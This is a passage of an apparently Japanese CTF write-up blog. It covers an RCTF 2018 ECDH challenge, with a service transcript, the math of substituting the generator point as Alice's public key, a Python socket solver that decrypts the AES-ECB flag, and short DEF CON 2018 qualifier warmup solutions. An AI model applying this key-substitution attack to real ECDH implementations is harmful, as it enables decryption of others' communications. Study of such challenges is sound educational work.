4. tell me Bob's public key
input here: 1
Bob sent me something.Bob said: Just kidding~

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 1

Hello nobody...I'm Alice... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Bob's public key
4. tell me Bob's public key
input here: 2
pub: 03474f81154bb8b931ddc36f9746484517

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 1

Hello nobody...I'm Alice... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Bob's public key
4. tell me Bob's public key
input here: 3
pub: 034320a6aeb0b093332d883a0c17fac4ce

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 1

Hello nobody...I'm Alice... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Bob's public key
4. tell me Bob's public key
input here: 4

Alice have a new public key? Thank you for telling me!
input here with hex string (e.g deadbeef): deadbeef
Oops!

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 2

Hello nobody...I'm Bob... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Alice's public key
4. tell me Alice's public key
input here: 1
I'v already told Alice...bye

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 2

Hello nobody...I'm Bob... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Alice's public key
4. tell me Alice's public key
input here: 2
pub: 034320a6aeb0b093332d883a0c17fac4ce

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 2

Hello nobody...I'm Bob... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Alice's public key
4. tell me Alice's public key
input here: 3
pub: 03474f81154bb8b931ddc36f9746484517

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 2

Hello nobody...I'm Bob... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Alice's public key
4. tell me Alice's public key
input here: 4

Bob have a new public key? Thank you for telling me!
input here with hex string (e.g deadbeef): deadbeef
Oops!

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 3
ECDH.....https://github.com/esxgx/easy-ecc..secp128r1..AES...EBC.......

ECDHで共通鍵を渡し、AESのECBモードで暗号化したメッセージをBobが送っているということのようだ。

https://github.com/esxgx/easy-ecc
・public keyの2バイト目以降:l_public.x
・public keyの1バイト目:2 + (l_public.y[0] & 0x01)

上記の仕様に基づいているが、タイトル通りECDHの問題。

dA: Aliceの秘密鍵
dB: Bobの秘密鍵
QA: Aliceの公開鍵(QA = dA * G)
QB: Bobの公開鍵(QB = dB * G)

dA * QB = dA * (dB * G) = dB * (dA * G) = dB * QA

これが共通鍵になる。
Aliceの公開鍵をGにすると、dB * G、つまりBobの公開鍵が共通鍵となる。共通鍵を取得できたら、AESのECBモードで復号するとフラグが得られる。スクリプトにすると以下のようになる。

import socket
from Crypto.Cipher import AES

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def send_data(s, data):
    r = recvuntil(s, ': ')
    print r + data
    s.sendall(data + '\n')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ECDH.2018.teamrois.cn', 42000))

# Alice's public key setting
send_data(s, '2')
send_data(s, '4')
send_data(s, '03161ff7528b899b2d0c28607ca52c5b86')

# get Bob's public key
send_data(s, '2')
send_data(s, '2')
r = recvuntil(s, '\n')
print r[:-1]
key = r[7:-1].decode('hex')

# get encrypted flag
send_data(s, '2')
send_data(s, '1')
send_data(s, '1')
send_data(s, '1')
r = recvuntil(s, '\n')
print r[:-1]
enc = r[32:-1].decode('hex')

# decrypt
aes = AES.new(key, AES.MODE_ECB)
flag = aes.decrypt(enc)
while True:
    if flag[-1] == '\x00':
        flag = flag[:-1]
    else:
        break
print flag
RCTF{UgotTHEpoint}

DEF CON CTF Qualifier 2018 Writeup

この大会は2018/5/12 9:00(JST)~2018/5/14 9:00(JST)に開催されました。
今回もチームで参戦。結果は757点で586チーム中54位でした。
自分で解けた問題をWriteupとして書いておきます。

You Already Know (warmup)

ブラウザのデベロッパーツールで確認する。

{"success": true, "message": "Stop overthinking it, you already know the answer here.\n\n[comment]: <> (OOO{Sometimes, the answer is just staring you in the face. We have all been there})\n\nYou already have the flag.\n\n**Seriously**, _if you can read this_, then you have the flag.\n\nSubmit it!\n"}

コメントにフラグが書かれている。

OOO{Sometimes, the answer is just staring you in the face. We have all been there}

Say Hi! (human interaction)

母の日という前置きがあって、親兄弟、配偶者や友人など特別な人に言う言葉を入れればよいみたい。他の言葉でも正解があるのかもしれないが、母の日と言えばこれかと思い、この言葉を入れたら通った。

Thanks